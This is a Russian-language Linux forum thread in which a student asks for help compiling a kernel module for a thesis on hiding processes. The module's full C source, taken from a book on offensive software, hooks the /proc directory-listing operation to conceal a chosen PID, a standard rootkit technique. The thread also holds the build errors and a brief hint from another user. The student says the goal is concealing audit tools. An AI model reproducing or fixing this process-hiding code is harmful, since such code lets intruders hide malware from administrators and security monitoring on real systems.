Модуль сокрытия процессов

Взгляд изнутри

Модератор: Модераторы разделов

Ответить
Kamel
Сообщения: 2

Модуль сокрытия процессов

Сообщение Kamel »

Всем здравствуйте!
Ситуация такая, учёба заканчивается, соответственно диплом пишется.
Тема диплома: "Разработка механизмов сокрытия процессов в структурах ядра ОС Linux."
Прошу Вас, помогите! Я с программированием у меня в общем туговато, а тут модули ядра. Нет, простой модуль написать могу, благо тем более, что есть источники...
В общем: как Всем известно данную функцию очень хорошо выполняют руткиты. Самое простое - это скрыть папку в /proc. Данная "простота" написана в книге "Склярова - Программирование боевого софта под Linux." Но при компиляции у меня вылазят ошибки... ткните меня носом, пожалуйста! В четверг бы предоставить более менее работающий модуль... =(

Код: Выделить всё

Код:
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <net/sock.h>

MODULE_LICENSE ("GPL");

#define DIRECTORY_ROOT "/proc"
#define DIRECTORY_HIDE "3734"

typedef int (*readdir_t)(struct file *, void *, filldir_t);

readdir_t orig_proc_readdir = NULL;
filldir_t proc_filldir = NULL;


int new_filldir(void *buf, const char *name, int nlen, loff_t off,
ino_t ino, unsigned x)
{
  if (!strncmp(name, DIRECTORY_HIDE, strlen(DIRECTORY_HIDE)))
    return 0;

  return proc_filldir(buf, name, nlen, off, ino, x);
}


int our_proc_readdir(struct file *fp, void *buf, filldir_t filldir)
{
  int r = 0;

  proc_filldir = filldir;
  r = orig_proc_readdir(fp, buf, new_filldir);
  return r;
}


int patch_vfs(readdir_t *orig_readdir, readdir_t new_readdir)
{
  struct file *filep;

  if ( (filep = filp_open(DIRECTORY_ROOT, O_RDONLY, 0)) == NULL) {
    return -1;
  }

  if (orig_readdir)
    *orig_readdir = filep->f_op->readdir;

  filep->f_op->readdir = new_readdir;
  filp_close(filep, 0);

  return 0;
}


int unpatch_vfs(readdir_t orig_readdir)
{
  struct file *filep;

  if ( (filep = filp_open(DIRECTORY_ROOT, O_RDONLY, 0)) == NULL) {
    return -1;
  }

  filep->f_op->readdir = orig_readdir;
  filp_close(filep, 0);
  return 0;
}


int init_module(void)
{
  patch_vfs(&orig_proc_readdir, our_proc_readdir);
  return 0;
}


void cleanup_module(void)
{
  unpatch_vfs(orig_proc_readdir);
}



Ошибки:
kainser@Diplom ~/Диплом $ make
make -C /lib/modules/2.6.31-14-generic/build M=/home/kainser/Диплом modules
make[1]: Вход в каталог `/usr/src/linux-headers-2.6.31-14-generic'
CC [M] /home/kainser/Диплом/hide_pid.o
/home/kainser/Диплом/hide_pid.c: In function ‘our_proc_readdir’:
/home/kainser/Диплом/hide_pid.c:32: warning: passing argument 3 of ‘orig_proc_readdir’ from incompatible pointer type
/home/kainser/Диплом/hide_pid.c:32: note: expected ‘filldir_t’ but argument is of type ‘int (*)(void *, const char *, int, loff_t, ino_t, unsigned int)’
/home/kainser/Диплом/hide_pid.c: In function ‘patch_vfs’:
/home/kainser/Диплом/hide_pid.c:48: error: assignment of read-only location ‘*filep->f_op’
/home/kainser/Диплом/hide_pid.c: In function ‘unpatch_vfs’:
/home/kainser/Диплом/hide_pid.c:63: error: assignment of read-only location ‘*filep->f_op’
make[2]: *** [/home/kainser/Диплом/hide_pid.o] Ошибка 1
make[1]: *** [_module_/home/kainser/Диплом] Ошибка 2
make[1]: Выход из каталога `/usr/src/linux-headers-2.6.31-14-generic'
make: *** [default] Ошибка 2
Спасибо сказали:
Kamel
Сообщения: 2

Re: Модуль сокрытия процессов

Сообщение Kamel »

Не руткит целью является, а возможность сокрытия процессов программ аудита и т.д., типа Tripwire.
Спасибо сказали:
Аватара пользователя
Stauffenberg
Сообщения: 2042
Статус: ☮ PEACE ☮
ОС: открытая и свободная

Re: Модуль сокрытия процессов

Сообщение Stauffenberg »

Kamel писал(а):
13.04.2010 23:50

Код: Выделить всё

*orig_readdir = filep->f_op->readdir;

эм... может здесь что-то не так? :rolleyes:
Labor omnia vincit

"Debugging is twice as hard as writing the code in the first place.
Therefore, if you write the code as cleverly as possible, you are, by definition, not smart enough to debug it.” (Brian Kernighan)
Спасибо сказали:
Ответить